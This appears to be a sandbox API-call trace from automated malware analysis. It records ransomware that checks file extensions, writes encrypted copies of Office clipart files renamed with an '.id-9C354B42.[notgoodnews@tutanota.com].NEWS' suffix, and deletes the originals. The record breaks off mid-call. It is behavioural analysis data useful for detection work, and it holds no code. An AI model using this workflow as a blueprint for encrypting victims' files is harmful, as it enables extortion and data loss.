[0270.608] lstrlenW (lpString=".doc") returned 4 [0270.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.609] lstrlenW (lpString=".docx") returned 5 [0270.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.609] lstrlenW (lpString=".pdf") returned 4 [0270.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.609] lstrlenW (lpString=".xls") returned 4 [0270.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.609] lstrlenW (lpString=".xlsx") returned 5 [0270.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.609] lstrlenW (lpString=".ppt") returned 4 [0270.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.610] lstrlenW (lpString=".zip") returned 4 [0270.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.610] lstrlenW (lpString=".rar") returned 4 [0270.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.610] lstrlenW (lpString=".bz2") returned 4 [0270.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.610] lstrlenW (lpString=".7z") returned 3 [0270.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.610] lstrlenW (lpString=".dbf") returned 4 [0270.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.610] lstrlenW (lpString=".1cd") returned 4 [0270.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.611] lstrlenW (lpString=".jpg") returned 4 [0270.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.611] lstrlenW (lpString=".doc") returned 4 [0270.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString=".docx") returned 5 [0270.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.611] lstrlenW (lpString=".pdf") returned 4 [0270.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString=".xls") returned 4 [0270.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.612] lstrlenW (lpString=".xlsx") returned 5 [0270.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.612] lstrlenW (lpString=".ppt") returned 4 [0270.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.612] lstrlenW (lpString=".zip") returned 4 [0270.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.612] lstrlenW (lpString=".rar") returned 4 [0270.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.613] lstrlenW (lpString=".bz2") returned 4 [0270.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.613] lstrlenW (lpString=".7z") returned 3 [0270.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.613] lstrlenW (lpString=".dbf") returned 4 [0270.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.613] lstrlenW (lpString=".1cd") returned 4 [0270.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0270.614] lstrlenW (lpString=".jpg") returned 4 [0270.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.614] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0270.614] lstrlenW (lpString="BS00136_.WMF") returned 12 [0270.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.615] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=2166) returned 1 [0270.615] CloseHandle (hObject=0x3cc) returned 1 [0270.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0270.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.617] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.617] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.618] GetLastError () returned 0x0 [0270.618] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x876, lpOverlapped=0x0) returned 1 [0270.902] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x880, lpOverlapped=0x0) returned 1 [0270.908] ReadFile (in: hFile=0x3cc, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.909] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.909] SetEndOfFile (hFile=0x384) returned 1 [0270.909] CloseHandle (hObject=0x384) returned 1 [0270.910] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.910] SetEndOfFile (hFile=0x3cc) returned 1 [0270.917] CloseHandle (hObject=0x3cc) returned 1 [0270.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0271.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0271.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.217] lstrlenW (lpString=".doc") returned 4 [0271.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.218] lstrlenW (lpString=".docx") returned 5 [0271.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.218] lstrlenW (lpString=".pdf") returned 4 [0271.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.218] lstrlenW (lpString=".xls") returned 4 [0271.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.218] lstrlenW (lpString=".xlsx") returned 5 [0271.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.218] lstrlenW (lpString=".ppt") returned 4 [0271.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.219] lstrlenW (lpString=".zip") returned 4 [0271.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.219] lstrlenW (lpString=".rar") returned 4 [0271.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.219] lstrlenW (lpString=".bz2") returned 4 [0271.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.219] lstrlenW (lpString=".7z") returned 3 [0271.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.219] lstrlenW (lpString=".dbf") returned 4 [0271.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.220] lstrlenW (lpString=".1cd") returned 4 [0271.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.220] lstrlenW (lpString=".jpg") returned 4 [0271.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.220] lstrlenW (lpString=".doc") returned 4 [0271.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.220] lstrlenW (lpString=".docx") returned 5 [0271.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.221] lstrlenW (lpString=".pdf") returned 4 [0271.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.221] lstrlenW (lpString=".xls") returned 4 [0271.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.221] lstrlenW (lpString=".xlsx") returned 5 [0271.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.221] lstrlenW (lpString=".ppt") returned 4 [0271.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.221] lstrlenW (lpString=".zip") returned 4 [0271.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.222] lstrlenW (lpString=".rar") returned 4 [0271.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.222] lstrlenW (lpString=".bz2") returned 4 [0271.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.222] lstrlenW (lpString=".7z") returned 3 [0271.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.222] lstrlenW (lpString=".dbf") returned 4 [0271.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.222] lstrlenW (lpString=".1cd") returned 4 [0271.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0271.223] lstrlenW (lpString=".jpg") returned 4 [0271.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.223] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0271.223] lstrlenW (lpString="BS00186_.WMF") returned 12 [0271.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.313] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=12788) returned 1 [0271.313] CloseHandle (hObject=0x3cc) returned 1 [0271.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0271.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.437] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.437] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.085] GetLastError () returned 0x0 [0272.085] ReadFile (in: hFile=0x370, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x31f4, lpOverlapped=0x0) returned 1 [0272.092] WriteFile (in: hFile=0x398, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x3200, lpOverlapped=0x0) returned 1 [0272.097] ReadFile (in: hFile=0x370, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.097] WriteFile (in: hFile=0x398, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.097] SetEndOfFile (hFile=0x398) returned 1 [0272.097] CloseHandle (hObject=0x398) returned 1 [0272.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.098] SetEndOfFile (hFile=0x370) returned 1 [0272.108] CloseHandle (hObject=0x370) returned 1 [0272.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0272.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.312] lstrlenW (lpString=".doc") returned 4 [0272.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.312] lstrlenW (lpString=".docx") returned 5 [0272.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.313] lstrlenW (lpString=".pdf") returned 4 [0272.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.313] lstrlenW (lpString=".xls") returned 4 [0272.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.313] lstrlenW (lpString=".xlsx") returned 5 [0272.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.313] lstrlenW (lpString=".ppt") returned 4 [0272.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.314] lstrlenW (lpString=".zip") returned 4 [0272.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.314] lstrlenW (lpString=".rar") returned 4 [0272.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.314] lstrlenW (lpString=".bz2") returned 4 [0272.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.314] lstrlenW (lpString=".7z") returned 3 [0272.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.315] lstrlenW (lpString=".dbf") returned 4 [0272.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.315] lstrlenW (lpString=".1cd") returned 4 [0272.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.316] lstrlenW (lpString=".jpg") returned 4 [0272.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.317] lstrlenW (lpString=".doc") returned 4 [0272.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.317] lstrlenW (lpString=".docx") returned 5 [0272.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.317] lstrlenW (lpString=".pdf") returned 4 [0272.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.317] lstrlenW (lpString=".xls") returned 4 [0272.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.317] lstrlenW (lpString=".xlsx") returned 5 [0272.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.318] lstrlenW (lpString=".ppt") returned 4 [0272.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.318] lstrlenW (lpString=".zip") returned 4 [0272.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.318] lstrlenW (lpString=".rar") returned 4 [0272.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.319] lstrlenW (lpString=".bz2") returned 4 [0272.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.319] lstrlenW (lpString=".7z") returned 3 [0272.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.319] lstrlenW (lpString=".dbf") returned 4 [0272.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.320] lstrlenW (lpString=".1cd") returned 4 [0272.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0272.320] lstrlenW (lpString=".jpg") returned 4 [0272.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.321] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.321] lstrlenW (lpString="BS00444_.WMF") returned 12 [0272.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.365] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=3896) returned 1 [0272.366] CloseHandle (hObject=0x3c8) returned 1 [0272.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0272.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0272.425] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.425] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.427] GetLastError () returned 0x0 [0272.427] ReadFile (in: hFile=0x370, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xf38, lpOverlapped=0x0) returned 1 [0272.537] WriteFile (in: hFile=0x398, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0272.541] ReadFile (in: hFile=0x370, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.541] WriteFile (in: hFile=0x398, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.542] SetEndOfFile (hFile=0x398) returned 1 [0272.542] CloseHandle (hObject=0x398) returned 1 [0272.708] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.708] SetEndOfFile (hFile=0x370) returned 1 [0272.716] CloseHandle (hObject=0x370) returned 1 [0272.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0272.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0272.718] lstrlenW (lpString=".doc") returned 4 [0272.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.718] lstrlenW (lpString=".docx") returned 5 [0272.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.718] lstrlenW (lpString=".pdf") returned 4 [0272.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.718] lstrlenW (lpString=".xls") returned 4 [0272.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.719] lstrlenW (lpString=".xlsx") returned 5 [0272.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.719] lstrlenW 